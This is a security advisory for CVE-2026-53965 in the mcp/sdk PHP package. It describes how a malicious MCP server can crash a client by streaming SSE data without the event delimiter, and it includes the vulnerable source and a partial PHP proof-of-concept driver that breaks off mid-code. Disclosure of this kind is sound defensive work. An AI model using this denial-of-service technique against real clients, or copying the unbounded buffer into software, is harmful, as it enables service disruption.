All vulnerabilities

CVE-2026-53965

Packagist · mcp/sdk

Summary

MCP PHP SDK: client HttpTransport SSE buffer (sseBuffer .= chunk) grows unbounded when server withholds the event delimiter

Advisory details

Summary

The HTTP client transport in mcp/sdk reads a Server-Sent-Events (SSE) response stream incrementally and appends each 4 KiB chunk to an in-memory buffer ($this->sseBuffer .= $chunk;) with no upper bound. The buffer is only ever flushed when an SSE event delimiter ("\n\n") appears. A remote MCP server (the peer the client connects to) that streams response bytes without ever sending the "\n\n" delimiter makes $sseBuffer grow without limit until the client process exhausts its PHP memory_limit (fatal "Allowed memory size … exhausted") or is killed by the OS OOM-killer.

This is a denial-of-service against the MCP client: any server it talks to — or a network position that controls the server's response body — can crash the client by withholding the event delimiter while streaming data.

Impact

  • Type: Denial of service (memory exhaustion / process crash) of the MCP client.
  • Who can trigger it: The remote MCP server endpoint the client connects to via HttpTransport, or any party that can control/inject into that server's SSE response body (e.g. a man-in-the-middle on a plaintext endpoint, or a malicious or compromised server). The buffer growth happens while the transport is reading the response stream, before a complete event is ever parsed.
  • Effect: A response stream of N bytes containing no "\n\n" drives the client's resident buffer to track N. A few hundred MB of delimiter-free data is enough to kill a client running with a typical memory_limit.
  • Severity (suggested, maintainer to confirm): High — a remote server can reliably crash a connected client over the HTTP/SSE transport.

How input reaches the sink (reachability)

  1. A client connects to a server over the HTTP transport by constructing Mcp\Client\Transport\HttpTransport with the server endpoint URL, then runs the connect/request loop.
  2. The transport's loop calls tick() (line 182), which calls processSSEStream() (line 194) on each iteration.
  3. processSSEStream() reads up to 4096 bytes from the active SSE stream and appends them to $this->sseBuffer (line 203).
  4. The buffer is only drained inside the while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) loop (line 207). If the server never emits "\n\n", the strpos never matches, the buffer is never flushed, and it grows on every tick() until OOM.

Vulnerable code

src/Client/Transport/HttpTransport.php (v0.5.0):

    private string $sseBuffer = '';
    private function processSSEStream(): void
    {
        if (null === $this->activeStream) {
            return;
        }

        if (!$this->activeStream->eof()) {
            $chunk = $this->activeStream->read(4096);
            if ('' !== $chunk) {
                $this->sseBuffer .= $chunk;          // line 203 — unbounded append
            }
        }

        while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) {
            $event = substr($this->sseBuffer, 0, $pos);
            $this->sseBuffer = substr($this->sseBuffer, $pos + 2);

            if (!empty(trim($event))) {
                $this->processSSEEvent($event);
            }
        }

        if ($this->activeStream->eof() && empty($this->sseBuffer)) {
            $this->activeStream = null;
        }
    }

$this->sseBuffer .= $chunk; has no length guard; the drain loop only fires when a "\n\n" delimiter is present.

Proof of concept / End-to-end reproduction (against the released composer package)

Environment: macOS arm64, PHP 8.5.6 (cli), Composer 2.9.8. The package under test is the real published release mcp/sdk v0.5.0 (the version that introduced this HTTP client transport), installed from Packagist — not a re-implementation of the sink.

Install the released package:

$ composer require mcp/sdk:0.5.0 --no-interaction
  - Installing mcp/sdk (v0.5.0): Extracting archive
$ composer show mcp/sdk
name     : mcp/sdk
versions : * v0.5.0

PoC driver (poc_sse.php). It exercises the unmodified released processSSEStream(); the ProbeHttp subclass uses reflection only to inject the active SSE stream and to invoke the inherited private method — no transport logic is overridden. FloodStream is a real PSR-7 StreamInterface that yields a large body (4096 bytes per read()) that never contains "\n\n", mirroring an adversarial SSE server response. The null PSR-18/17 stubs only satisfy the constructor; the sink reads exclusively from the injected stream and never touches the HTTP client:

<?php
require __DIR__ . '/vendor/autoload.php';
use Mcp\Client\Transport\HttpTransport;
use Psr\Http\Message\StreamInterface;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\StreamFactoryInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

final class FloodStream implements StreamInterface {
    private int $served = 0;
    public function __construct(private int $total) {}
    public function read(int $length): string {
        if ($this->served >= $this->total) return '';
        $n = min($length, $this->total - $this->served);
        $this->served += $n;
        return str_repeat('A', $n);           // never contains "\n\n"
    }
    public function eof(): bool { return $this->served >= $this->total; }
    public function __toString(): string { return ''; }
    public function close(): void {}
    public function detach() { return null; }
    public function getSize(): ?int { return $this->total; }
    public function tell(): int { return $this->served; }
    public function isSeekable(): bool { return false; }
    public function seek(int $o, int $w = SEEK_SET): void {}
    public function rewind(): void {}
    public function isWritable(): bool { return false; }
    public function write(string $s): int { return 0; }
    public function isReadable(): bool { return true; }
    public function getContents(): string { return ''; }
    public function getMetadata(?string $key = null) { return null; }
}
final class NullHttpClient implements ClientInterface {
    public function sendRequest(RequestInterface $request): ResponseInterface { throw new \RuntimeException('not used'); }
}
final class NullRequestFactory implements RequestFactoryInterface {
    public function createRequest(string $method, $uri): RequestInterface { throw new \RuntimeException('not used'); }
}
final class NullStreamFactory implements StreamFactoryInterface {
    public function createStream(string $content = ''): StreamInterface { throw new \RuntimeException('not used'); }
    public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface { throw new \RuntimeException('not used'); }
    public function createStreamFromResource($resource): StreamInterface { throw new \RuntimeException('not used'); }
}
final class ProbeHttp extends HttpTransport {
    public function inject(StreamInterface $s): void {
        (new ReflectionProperty(HttpTransport::class, 'activeStream'))->setValue($this, $s);
    }
    public function pump(): void {
        (new ReflectionMethod(HttpTransport::class, 'processSSEStream'))->invoke($this);
    }
}
function fmtMB(int $b): string { return number_format($b/1048576,1).' MB'; }
$mode = $argv[1] ?? 'attack';
$t = new ProbeHttp('http://127.0.0.1:9/mcp', [], new NullHttpClient(), new NullRequestFactory(), new NullStreamFactory());

if ($mode === 'control') {
    $body = '';
    for ($i=0;$i<1000;$i++) $body .= "event: message\ndata: {\"jsonrpc\":\"2.0\",\"id\":$i}\n\n";
    $tmp = fopen('php://temp','r+'); fwrite($tmp,$body); rewind($tmp);
    $t->inject(new FloodStream(0));   // replaced below by a real stream over $tmp
    $stream = new class($tmp) implements StreamInterface {
        public function __construct(private $h) {}
        public function read(int $l): string { return (string) fread($this->h, $l); }
        public function eof():

References